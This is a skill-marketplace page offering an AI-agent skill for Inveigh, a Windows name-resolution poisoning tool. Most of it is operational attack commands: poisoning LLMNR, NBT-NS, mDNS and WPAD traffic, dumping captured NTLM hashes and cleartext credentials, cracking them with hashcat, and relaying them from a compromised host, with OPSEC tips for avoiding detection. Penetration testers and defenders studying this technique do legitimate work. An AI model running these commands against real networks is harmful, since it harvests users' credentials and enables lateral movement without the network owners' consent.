# Inveigh

> Auth/lab ref: Inveigh Windows name-resolution assessment; LLMNR/NBT-NS/mDNS/DNS exposure, NTLM evidence, relay-risk notes.

- Skill: `aeondave/inveigh` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/inveigh`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/inveigh/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: BSD-3-Clause
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/inveigh

---


# Inveigh

Windows-native LLMNR/NBT-NS/mDNS/DNS poisoner — capture NTLM hashes from a Windows host.

## Quick Start

```powershell
# PowerShell version — basic poisoning and capture
Import-Module .\Inveigh.ps1
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

# C# version (InveighZero) — more features
.\Inveigh.exe
```

## PowerShell Module

### Basic capture
```powershell
Import-Module .\Inveigh.ps1

# Enable LLMNR + NBT-NS poisoning with console output
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

# Full options
Invoke-Inveigh -IP <attacker_ip> -LLMNR Y -NBNS Y -mDNS Y -ConsoleOutput Y -FileOutput Y -OutputDir C:\temp\
```

### Interactive commands (while running)
Press ESC to enter interactive mode:

| Command | Description |
|---------|-------------|
| GET NTLMV1USERNAMES | List captured NTLMv1 users |
| GET NTLMV2USERNAMES | List captured NTLMv2 users |
| GET NTLMV1UNIQUE | Unique NTLMv1 hashes |
| GET NTLMV2UNIQUE | Unique NTLMv2 hashes |
| GET CLEARTEXT | Cleartext credentials |
| HELP | Show all commands |
| STOP | Stop Inveigh |

### Stop and retrieve
```powershell
Stop-Inveigh

# Get captured hashes
Get-Inveigh -NTLMv2
Get-Inveigh -NTLMv2Unique
Get-Inveigh -Cleartext
```

## C# Version (InveighZero)

More modern, standalone executable. Preferred for operations.

```cmd
# Basic run with defaults
.\Inveigh.exe

# Specify options
.\Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y
```

### Key flags
- `-FileOutput Y` — write hashes to disk
- `-NBNS Y` — enable NBT-NS poisoning
- `-mDNS Y` — enable mDNS poisoning
- `-Proxy Y` — enable WPAD proxy capture
- `-MachineAccounts Y` — also capture machine account hashes
- `-DHCPv6 Y` — respond to DHCPv6 requests
- `-LLMNRv6 Y` — IPv6 LLMNR poisoning
- `-Challenge <hex>` — set custom NTLM challenge (for rainbow tables)

## Cracking captured hashes

```bash
# NTLMv2 hashes (hashcat mode 5600)
hashcat -m 5600 inveigh_ntlmv2.txt /path/to/wordlist.txt

# NTLMv1 hashes (hashcat mode 5500)
hashcat -m 5500 inveigh_ntlmv1.txt /path/to/wordlist.txt
```

## OPSEC considerations
- Noise level: MODERATE — responds to broadcast traffic only when requests occur
- Raw sockets require local admin privileges
- SMB server conflicts with Windows SMB service (port 445)
- Prefer targeting specific subnets/hosts to limit exposure
- Captured hashes logged in output directory — clean up after engagement
- Detection: unusual NBT-NS/LLMNR/mDNS responses from non-standard hosts

## Comparison with Responder
| Feature | Inveigh | Responder |
|---------|---------|-----------|
| Platform | Windows | Linux |
| Language | C#/.NET/PowerShell | Python |
| LLMNR | Yes | Yes |
| NBT-NS | Yes | Yes |
| mDNS | Yes | Yes |
| DHCPv6 | Yes | Yes |
| WPAD | Yes | Yes |
| SMB relay | No (use ntlmrelayx) | No (use ntlmrelayx) |
| In-memory | Yes (PS version) | No |

## Integration with AD workflow
1. Deploy Inveigh on compromised Windows host
2. Wait for NTLM hash captures (LLMNR/NBT-NS/mDNS)
3. Crack NTLMv2 hashes offline (hashcat -m 5600)
4. Or relay using ntlmrelayx (disable Inveigh SMB, relay to targets without SMB signing)

## Resources

No bundled `scripts/`, `references/`, or `assets/` are included in this skill. Use the PowerShell module help, InveighZero help output, and engagement-specific relay/cracking tooling as needed.